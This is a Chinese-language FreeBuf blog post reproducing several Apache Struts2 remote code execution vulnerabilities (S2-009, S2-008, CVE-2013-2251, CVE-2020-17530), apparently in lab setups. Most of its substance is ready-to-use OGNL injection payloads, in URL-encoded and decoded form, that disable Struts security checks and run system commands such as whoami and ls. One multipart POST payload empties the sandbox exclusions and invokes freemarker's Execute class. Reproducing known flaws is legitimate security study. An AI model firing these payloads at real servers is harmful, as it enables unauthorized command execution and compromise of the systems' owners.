freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

apache strust2系列漏洞
asengg 2024-06-09 17:34:37 146198

struts-s2-009 代码执行 (CVE-2011-3923)

参考:struts-s2-009 代码执行 (CVE-2011-3923)复现-CSDN博客

版本:2.1.0-2.3.1.1

漏洞简介:

恶意用户可以绕过内置在ParametersInterceptor中的所有保护(正则表达式模式,拒绝方法调用),从而能够在任何公开的字符串变量中注入恶意表达式以进行利用。

漏洞利用:

漏洞触发地址:

/ajax/example5.action

payload:

/ajax/example5.action?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27whoami%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]

urldecode:
/ajax/example5.action?age=12313&name=(#context["xwork.MethodAccessor.denyMethodExecution"]=+new+java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]=true, #a=@java.lang.Runtime@getRuntime().exec('whoami').getInputStream(),#b=new+java.io.InputStreamReader(#a),#c=new+java.io.BufferedReader(#b),#d=new+char[51020],#c.read(#d),#kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#kxlzx.println(#d),#kxlzx.close())(meh)&z[(name)('meh')]

1、访问漏洞触发地址并抓包

1716899415_6655ce5797ab151843cd3.png!small

2、修改url,利用payload进行漏洞利用:

1716899439_6655ce6f31ff59f19d416.png!small

struts-s2-008 代码执行 (CVE-2012-0391)

版本:2.1.0 <= Struts2 <= 2.3.1

漏洞简述:主要是利用对传入参数没有严格限制,导致多个地方可以执行恶意代码,传入?debug=command&expression=即可执行OGNL表达式。

漏洞利用:

1、payload:

debug=command&expression=(%23_memberAccess%5B"allowStaticMethodAccess"%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28"false"%29%20%2C%23context%5B"xwork.MethodAccessor.denyMethodExecution"%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27ls%20/tmp%27%29.getInputStream%28%29%29) 

payload原型: debug=command&expression=(#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('ls /tmp').getInputStream()))

2、访问devmode.action抓包,运行payload获取flag如下:

1716899509_6655ceb57c2b825f7cf6e.png!small

struts2 命令执行 (CVE-2013-2251)

版本:2.0.0-2.3.15

简述:在struts2中,DefaultActionMapper类支持以"action:"、“redirect:”、"redirectAction:"作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令。

漏洞利用:

自动化工具梭哈

1716899533_6655cecdc7dc727eef0d8.png!small

struts2 代码执行 (CVE-2020-17530)

版本:Apache Struts 2.0.0-2.5.25

漏洞简述:Struts2 会对某些标签属性(比如id,其他属性有待寻找) 的属性值进行二次表达式解析,因此当这些标签属性中使用了%{x}x的值用户可控时,用户再传入一个%{payload}即可造成OGNL表达式执行。S2-061是对S2-059沙盒进行的绕过

漏洞检验:

url处的id参数为例

payload:?id=%25%7b+%27test%27+%2b+(11+%2b+11).toString()%7d

1716899606_6655cf1601fe7469f98a5.png!small

可以看到得到的值为test22,证明存在该漏洞。

漏洞利用:

方法①利用bp抓包

修改Content-Type为:

multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
POC:
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("whoami")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

存在漏洞参数处抓包,修改发包方式为POST,发送该payload

1716899629_6655cf2d9dbf6d6866f98.png!small

1716899645_6655cf3db71130974e8ec.png!small

方法②直接利用url

payload:

%25{(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application[%27org.apache.tomcat.InstanceManager%27]).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr[%27struts.valueStack%27]).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d{%27whoami%27}).(%23res%3d%23exec.exec(%23cmd))}
# 漏洞复现
本文为 asengg 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
asengg LV.4
这家伙太懒了,还未填写个人描述!
  • 13 文章数
  • 1 关注者
ThinkPHP 3.2.x代码执行
2024-06-10
WebLogic远程代码执行 (CVE-2018-2893)
2024-06-10
Frida主机端与模拟器端的配置
2024-06-10